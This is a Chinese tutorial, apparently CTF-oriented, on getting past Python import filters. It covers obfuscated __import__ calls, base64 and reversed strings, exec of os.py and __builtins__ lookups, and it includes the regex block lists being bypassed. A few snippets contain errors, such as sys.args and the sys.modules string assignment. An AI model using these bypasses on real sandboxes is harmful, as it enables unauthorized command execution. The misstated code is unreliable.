跳转至

02 函数导入限制和绕过

函数导入限制和绕过

import

一个受限制的环境,禁止导入敏感的包是最常见的方法,所以import一般是最容易被限制掉。

import re,sys

pattern  = re.compile('import\s+(os|subprocess)')
match = re.search(pattern,sys.args[1])
if match:
    print("forbidden module import detected")
    raise Exception

这种简单的限制不能导入包的形式,可以中间添加空格来绕过,或者使用其他方式导入包,比如

__import__('os').system('ls')
__import__
importlib

还可以使用编码的方式绕过对导入包关键字的检查,比如使用base64,python2中适用

>>> import base64

>>> base64.b64encode("os")
'b3M='
>>> flag = __import__(base64.b64decode('b3M='))
>>> flag.system('whoami')
misaki\user

>>> import importlib

>>> flag = importlib.import_module('b3M='.decode('base64'))
>>> flag.system('whoami')

misaki\user
01_02-01

或者使用字符串拼接的方式

>>> __import__('o'+'s').system('who'+'ami')
aiuser
0

字符串f翻转截取

>>> __import__('so'[::-1]).system('whoami')
aiuser
0
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
aiuser

再万一,还可以这么禁止

import re,sys

pattern  = re.compile('import')
match = re.search(pattern,sys.args[1])
if match:
    print("forbidden module import detected")
    raise Exception

这样的话,不管怎么换导入函数都会被禁止。那么是否有不直接使用import关键字来导入的方式。既然需要导入也就是只需要能执行对应的库就可以。

使用execfile,不过在这之前需要判断得到库的物理路径。如果sys模块没被禁用的话,就可以使用sys来获取物理路径。这种方式只能用在python2中,python3取消了execfile

>>> execfile('/usr/lib/python2.7/os.py')  #Linux系统下默认路径
>>> system('whoami')
aiuser

python3可以利用读取文件,配合exec来执行

>>> f = open(r'/usr/lib/python3.6/os.py','r')
>>> exec(f.read())
>>> system('whoami')
aiuser

# 不可以执行利用 exec 打开读取,exec 需要执行的是其中的内容,直接打开的时候 exec 执行的就是读取文件操作
exec("open('/usr/lib/python3.6/os.py','r').read()")

使用with open的形式

>>> with open(r'/usr/lib/python3.6/os.py','r') as f:
...     exec(f.read())
...
>>> system('whoami')
aiuser

或者使用字符串拼接的方式,但是需要跟exec,eval一起利用。

>>> exec('imp'+'ort'+' '+'os;'+'os.system("whoami")')
aiuser
这里 exec 不需要导入就可以直接引用,当然不需要导入就可以引用的函数不止这一个,因为一个内建函数的原因。

markdown 中 _ 下划线结尾会导致下划线后面的内容变成斜体,所以这里使用加号拼接字符串

builtins 内建模块

__builtins__即时引用,在程序还为执行代码的时候就已经加载进来了。此模块并不需要导入,可以在任何模块中执行引用。 比如在python2中 01_03-01

python3中 01_03-02

所以我们通过dict属性来调用这些函数,例如如下调用exec来执行其中的python语句。

>>> __builtins__.__dict__['exec']("print('ok')")
ok
通过内建函数来导入包
>>> __builtins__.__dict__['__import__']('os').system('whoami')
aiuser

万一跟上面一样,禁用了import,当然还可以使用拼接的方式

>>> __builtins__.__dict__['__imp'+'ort__']('os').system('whoami')
aiuser
如果在__builtins__中,部分需要引用的函数被删除。不能直接用dict属性来调用,可以使用reload来重新加载
reload(__builtin__)
如果仔细看上面的图片就可以看到,在python2中reload也是__builtin__的内建函数。如果此函数被删除在python2中也不可以直接引用了。python3中reload不再是内建函数,3.4之前是imp模块下的函数,而之后是importlib模块下的函数。

所以可以直接利用imp模块来导入,python2也可以利用。

>>> import imp
>>> imp.reload(__builtins__)
<module '__builtin__' (built-in)>
在所上的导入模块中,系统的包都在一个默认路径下,被sys的modules存储记录。如果把其中的os模块删除就不能再去加载os模块了,这时候需要手动把os重新加载进去。一般尝试默认路径,或者sys查看存储路径
>>> import sys
>>> sys.modules['os']='/usr/lib/python3.6/os.py'
>>> import os
>>>